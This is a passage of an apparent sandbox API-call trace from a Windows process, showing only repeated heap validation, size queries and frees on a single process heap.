Flags=0x0, MemoryPointer=0x3ecae0) returned 0x20 [0132.566] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecae0 | out: hHeap=0x3d0000) returned 1 [0132.566] GetProcessHeap () returned 0x3d0000 [0132.566] GetProcessHeap () returned 0x3d0000 [0132.566] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edcb0) returned 1 [0132.566] GetProcessHeap () returned 0x3d0000 [0132.566] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3edcb0) returned 0x4a [0132.566] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3edcb0 | out: hHeap=0x3d0000) returned 1 [0132.566] GetProcessHeap () returned 0x3d0000 [0132.566] GetProcessHeap () returned 0x3d0000 [0132.566] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed520) returned 1 [0132.566] GetProcessHeap () returned 0x3d0000 [0132.566] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed520) returned 0x18 [0132.567] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed520 | out: hHeap=0x3d0000) returned 1 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecab0) returned 1 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecab0) returned 0x20 [0132.567] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecab0 | out: hHeap=0x3d0000) returned 1 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed500) returned 1 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed500) returned 0xe [0132.567] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed500 | out: hHeap=0x3d0000) returned 1 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed4e0) returned 1 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed4e0) returned 0x18 [0132.567] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed4e0 | out: hHeap=0x3d0000) returned 1 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.567] GetProcessHeap () returned 0x3d0000 [0132.568] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5d50) returned 1 [0132.568] GetProcessHeap () returned 0x3d0000 [0132.568] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5d50) returned 0x20 [0132.568] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5d50 | out: hHeap=0x3d0000) returned 1 [0132.568] GetProcessHeap () returned 0x3d0000 [0132.568] GetProcessHeap () returned 0x3d0000 [0132.568] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ebbf0) returned 1 [0132.568] GetProcessHeap () returned 0x3d0000 [0132.568] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ebbf0) returned 0x208 [0132.569] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ebbf0 | out: hHeap=0x3d0000) returned 1 [0132.569] GetProcessHeap () returned 0x3d0000 [0132.569] GetProcessHeap () returned 0x3d0000 [0132.569] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba50) returned 1 [0132.569] GetProcessHeap () returned 0x3d0000 [0132.569] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eba50) returned 0x18 [0132.569] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba50 | out: hHeap=0x3d0000) returned 1 [0132.569] GetProcessHeap () returned 0x3d0000 [0132.569] GetProcessHeap () returned 0x3d0000 [0132.569] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5c60) returned 1 [0132.569] GetProcessHeap () returned 0x3d0000 [0132.569] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5c60) returned 0x20 [0132.569] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5c60 | out: hHeap=0x3d0000) returned 1 [0132.569] GetProcessHeap () returned 0x3d0000 [0132.569] GetProcessHeap () returned 0x3d0000 [0132.569] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed280) returned 1 [0132.569] GetProcessHeap () returned 0x3d0000 [0132.569] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed280) returned 0x200 [0132.570] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed280 | out: hHeap=0x3d0000) returned 1 [0132.570] GetProcessHeap () returned 0x3d0000 [0132.570] GetProcessHeap () returned 0x3d0000 [0132.570] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba90) returned 1 [0132.570] GetProcessHeap () returned 0x3d0000 [0132.570] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eba90) returned 0x18 [0132.570] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba90 | out: hHeap=0x3d0000) returned 1 [0132.570] GetProcessHeap () returned 0x3d0000 [0132.570] GetProcessHeap () returned 0x3d0000 [0132.570] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5bd0) returned 1 [0132.570] GetProcessHeap () returned 0x3d0000 [0132.570] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5bd0) returned 0x20 [0132.570] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5bd0 | out: hHeap=0x3d0000) returned 1 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec200) returned 1 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ec200) returned 0x14 [0132.571] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec200 | out: hHeap=0x3d0000) returned 1 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec1e0) returned 1 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ec1e0) returned 0x18 [0132.571] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec1e0 | out: hHeap=0x3d0000) returned 1 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b10) returned 1 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5b10) returned 0x20 [0132.571] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b10 | out: hHeap=0x3d0000) returned 1 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.571] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec220) returned 1 [0132.571] GetProcessHeap () returned 0x3d0000 [0132.572] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ec220) returned 0x16 [0132.572] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec220 | out: hHeap=0x3d0000) returned 1 [0132.572] GetProcessHeap () returned 0x3d0000 [0132.572] GetProcessHeap () returned 0x3d0000 [0132.572] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec1a0) returned 1 [0132.572] GetProcessHeap () returned 0x3d0000 [0132.572] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ec1a0) returned 0x18 [0132.572] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ec1a0 | out: hHeap=0x3d0000) returned 1 [0132.572] GetProcessHeap () returned 0x3d0000 [0132.572] GetProcessHeap () returned 0x3d0000 [0132.572] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ae0) returned 1 [0132.572] GetProcessHeap () returned 0x3d0000 [0132.572] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5ae0) returned 0x20 [0132.572] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ae0 | out: hHeap=0x3d0000) returned 1 [0132.572] GetProcessHeap () returned 0x3d0000 [0132.572] GetProcessHeap () returned 0x3d0000 [0132.572] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb9d0) returned 1 [0132.572] GetProcessHeap () returned 0x3d0000 [0132.572] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eb9d0) returned 0x2 [0132.572] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb9d0 | out: hHeap=0x3d0000) returned 1 [0132.573] GetProcessHeap () returned 0x3d0000 [0132.573] GetProcessHeap () returned 0x3d0000 [0132.573] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5930) returned 1 [0132.573] GetProcessHeap () returned 0x3d0000 [0132.573] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5930) returned 0x20 [0132.573] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5930 | out: hHeap=0x3d0000) returned 1 [0132.573] GetProcessHeap () returned 0x3d0000 [0132.573] GetProcessHeap () returned 0x3d0000 [0132.573] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5960) returned 1 [0132.573] GetProcessHeap () returned 0x3d0000 [0132.573] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5960) returned 0x20 [0132.573] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5960 | out: hHeap=0x3d0000) returned 1 [0132.574] GetProcessHeap () returned 0x3d0000 [0132.574] GetProcessHeap () returned 0x3d0000 [0132.574] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5990) returned 1 [0132.574] GetProcessHeap () returned 0x3d0000 [0132.574] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5990) returned 0x20 [0132.574] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5990 | out: hHeap=0x3d0000) returned 1 [0132.574] GetProcessHeap () returned 0x3d0000 [0132.574] GetProcessHeap () returned 0x3d0000 [0132.574] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e59c0) returned 1 [0132.574] GetProcessHeap () returned 0x3d0000 [0132.574] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e59c0) returned 0x20 [0132.574] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e59c0 | out: hHeap=0x3d0000) returned 1 [0132.575] GetProcessHeap () returned 0x3d0000 [0132.575] GetProcessHeap () returned 0x3d0000 [0132.575] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecb40) returned 1 [0132.575] GetProcessHeap () returned 0x3d0000 [0132.575] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecb40) returned 0x20 [0132.575] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecb40 | out: hHeap=0x3d0000) returned 1 [0132.575] GetProcessHeap () returned 0x3d0000 [0132.575] GetProcessHeap () returned 0x3d0000 [0132.575] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed660) returned 1 [0132.575] GetProcessHeap () returned 0x3d0000 [0132.575] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed660) returned 0xc [0132.575] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed660 | out: hHeap=0x3d0000) returned 1 [0132.575] GetProcessHeap () returned 0x3d0000 [0132.575] GetProcessHeap () returned 0x3d0000 [0132.575] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecb70) returned 1 [0132.575] GetProcessHeap () returned 0x3d0000 [0132.575] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecb70) returned 0x20 [0132.576] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecb70 | out: hHeap=0x3d0000) returned 1 [0132.576] GetProcessHeap () returned 0x3d0000 [0132.576] GetProcessHeap () returned 0x3d0000 [0132.576] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e7a50) returned 1 [0132.576] GetProcessHeap () returned 0x3d0000 [0132.576] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e7a50) returned 0x30 [0132.576] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e7a50 | out: hHeap=0x3d0000) returned 1 [0132.576] GetProcessHeap () returned 0x3d0000 [0132.576] GetProcessHeap () returned 0x3d0000 [0132.576] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecba0) returned 1 [0132.576] GetProcessHeap () returned 0x3d0000 [0132.576] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecba0) returned 0x20 [0132.576] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecba0 | out: hHeap=0x3d0000) returned 1 [0132.576] GetProcessHeap () returned 0x3d0000 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e7a90) returned 1 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e7a90) returned 0x30 [0132.577] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e7a90 | out: hHeap=0x3d0000) returned 1 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd50) returned 1 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecd50) returned 0x20 [0132.577] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd50 | out: hHeap=0x3d0000) returned 1 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed580) returned 1 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed580) returned 0x16 [0132.577] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed580 | out: hHeap=0x3d0000) returned 1 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] GetProcessHeap () returned 0x3d0000 [0132.577] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd20) returned 1 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.578] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecd20) returned 0x20 [0132.578] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecd20 | out: hHeap=0x3d0000) returned 1 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.578] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed5a0) returned 1 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.578] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed5a0) returned 0x16 [0132.578] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed5a0 | out: hHeap=0x3d0000) returned 1 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.578] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eccf0) returned 1 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.578] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eccf0) returned 0x20 [0132.578] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eccf0 | out: hHeap=0x3d0000) returned 1 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.578] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4099e0) returned 1 [0132.578] GetProcessHeap () returned 0x3d0000 [0132.579] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x4099e0) returned 0x82 [0132.579] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4099e0 | out: hHeap=0x3d0000) returned 1 [0132.579] GetProcessHeap () returned 0x3d0000 [0132.579] GetProcessHeap () returned 0x3d0000 [0132.579] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eccc0) returned 1 [0132.579] GetProcessHeap () returned 0x3d0000 [0132.579] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eccc0) returned 0x20 [0132.579] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eccc0 | out: hHeap=0x3d0000) returned 1 [0132.579] GetProcessHeap () returned 0x3d0000 [0132.579] GetProcessHeap () returned 0x3d0000 [0132.579] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed5e0) returned 1 [0132.579] GetProcessHeap () returned 0x3d0000 [0132.579] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed5e0) returned 0xe [0132.579] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed5e0 | out: hHeap=0x3d0000) returned 1 [0132.579] GetProcessHeap () returned 0x3d0000 [0132.579] GetProcessHeap () returned 0x3d0000 [0132.579] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc90) returned 1 [0132.579] GetProcessHeap () returned 0x3d0000 [0132.579] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecc90) returned 0x20 [0132.580] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc90 | out: hHeap=0x3d0000) returned 1 [0132.580] GetProcessHeap () returned 0x3d0000 [0132.580] GetProcessHeap () returned 0x3d0000 [0132.580] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed600) returned 1 [0132.580] GetProcessHeap () returned 0x3d0000 [0132.580] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed600) returned 0xc [0132.580] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed600 | out: hHeap=0x3d0000) returned 1 [0132.580] GetProcessHeap () returned 0x3d0000 [0132.580] GetProcessHeap () returned 0x3d0000 [0132.580] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc60) returned 1 [0132.580] GetProcessHeap () returned 0x3d0000 [0132.580] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecc60) returned 0x20 [0132.581] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc60 | out: hHeap=0x3d0000) returned 1 [0132.581] GetProcessHeap () returned 0x3d0000 [0132.581] GetProcessHeap () returned 0x3d0000 [0132.581] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed620) returned 1 [0132.581] GetProcessHeap () returned 0x3d0000 [0132.581] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed620) returned 0xe [0132.581] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed620 | out: hHeap=0x3d0000) returned 1 [0132.581] GetProcessHeap () returned 0x3d0000 [0132.581] GetProcessHeap () returned 0x3d0000 [0132.581] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc30) returned 1 [0132.581] GetProcessHeap () returned 0x3d0000 [0132.581] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecc30) returned 0x20 [0132.581] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc30 | out: hHeap=0x3d0000) returned 1 [0132.581] GetProcessHeap () returned 0x3d0000 [0132.581] GetProcessHeap () returned 0x3d0000 [0132.581] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed640) returned 1 [0132.581] GetProcessHeap () returned 0x3d0000 [0132.582] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ed640) returned 0x10 [0132.582] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ed640 | out: hHeap=0x3d0000) returned 1 [0132.582] GetProcessHeap () returned 0x3d0000 [0132.582] GetProcessHeap () returned 0x3d0000 [0132.582] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc00) returned 1 [0132.582] GetProcessHeap () returned 0x3d0000 [0132.582] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3ecc00) returned 0x20 [0132.582] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ecc00 | out: hHeap=0x3d0000) returned 1 [0132.582] GetProcessHeap () returned 0x3d0000 [0132.582] GetProcessHeap () returned 0x3d0000 [0132.582] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb9f0) returned 1 [0132.582] GetProcessHeap () returned 0x3d0000 [0132.582] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eb9f0) returned 0x18 [0132.582] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb9f0 | out: hHeap=0x3d0000) returned 1 [0132.582] GetProcessHeap () returned 0x3d0000 [0132.582] GetProcessHeap () returned 0x3d0000 [0132.582] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e59f0) returned 1 [0132.582] GetProcessHeap () returned 0x3d0000 [0132.582] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e59f0) returned 0x20 [0132.583] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e59f0 | out: hHeap=0x3d0000) returned 1 [0132.583] GetProcessHeap () returned 0x3d0000 [0132.583] GetProcessHeap () returned 0x3d0000 [0132.583] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5a20) returned 1 [0132.583] GetProcessHeap () returned 0x3d0000 [0132.583] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5a20) returned 0x20 [0132.584] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5a20 | out: hHeap=0x3d0000) returned 1 [0132.584] GetProcessHeap () returned 0x3d0000 [0132.584] GetProcessHeap () returned 0x3d0000 [0132.584] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5a50) returned 1 [0132.584] GetProcessHeap () returned 0x3d0000 [0132.584] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5a50) returned 0x20 [0132.584] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5a50 | out: hHeap=0x3d0000) returned 1 [0132.584] GetProcessHeap () returned 0x3d0000 [0132.584] GetProcessHeap () returned 0x3d0000 [0132.584] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5a80) returned 1 [0132.584] GetProcessHeap () returned 0x3d0000 [0132.584] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5a80) returned 0x20 [0132.585] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5a80 | out: hHeap=0x3d0000) returned 1 [0132.585] GetProcessHeap () returned 0x3d0000 [0132.585] GetProcessHeap () returned 0x3d0000 [0132.585] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba10) returned 1 [0132.585] GetProcessHeap () returned 0x3d0000 [0132.585] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eba10) returned 0x18 [0132.585] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba10 | out: hHeap=0x3d0000) returned 1 [0132.585] GetProcessHeap () returned 0x3d0000 [0132.585] GetProcessHeap () returned 0x3d0000 [0132.585] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ab0) returned 1 [0132.585] GetProcessHeap () returned 0x3d0000 [0132.585] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5ab0) returned 0x20 [0132.585] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ab0 | out: hHeap=0x3d0000) returned 1 [0132.585] GetProcessHeap () returned 0x3d0000 [0132.585] GetProcessHeap () returned 0x3d0000 [0132.585] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b40) returned 1 [0132.586] GetProcessHeap () returned 0x3d0000 [0132.586] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5b40) returned 0x20 [0132.586] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b40 | out: hHeap=0x3d0000) returned 1 [0132.586] GetProcessHeap () returned 0x3d0000 [0132.586] GetProcessHeap () returned 0x3d0000 [0132.586] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ba0) returned 1 [0132.586] GetProcessHeap () returned 0x3d0000 [0132.586] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5ba0) returned 0x20 [0132.586] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5ba0 | out: hHeap=0x3d0000) returned 1 [0132.586] GetProcessHeap () returned 0x3d0000 [0132.586] GetProcessHeap () returned 0x3d0000 [0132.586] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5c00) returned 1 [0132.586] GetProcessHeap () returned 0x3d0000 [0132.586] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5c00) returned 0x20 [0132.587] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5c00 | out: hHeap=0x3d0000) returned 1 [0132.587] GetProcessHeap () returned 0x3d0000 [0132.587] GetProcessHeap () returned 0x3d0000 [0132.587] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5c30) returned 1 [0132.587] GetProcessHeap () returned 0x3d0000 [0132.587] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5c30) returned 0x20 [0132.587] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5c30 | out: hHeap=0x3d0000) returned 1 [0132.587] GetProcessHeap () returned 0x3d0000 [0132.587] GetProcessHeap () returned 0x3d0000 [0132.587] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba30) returned 1 [0132.587] GetProcessHeap () returned 0x3d0000 [0132.587] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eba30) returned 0x18 [0132.587] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eba30 | out: hHeap=0x3d0000) returned 1 [0132.587] GetProcessHeap () returned 0x3d0000 [0132.587] GetProcessHeap () returned 0x3d0000 [0132.587] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b70) returned 1 [0132.587] GetProcessHeap () returned 0x3d0000 [0132.587] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5b70) returned 0x20 [0132.588] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b70 | out: hHeap=0x3d0000) returned 1 [0132.588] GetProcessHeap () returned 0x3d0000 [0132.588] GetProcessHeap () returned 0x3d0000 [0132.588] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eb9b0) returned 1 [0132.588] GetProcessHeap () returned 0x3d0000 [0132.588] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3eb9b0) returned 0x18 [0132.588] HeapFree (in: 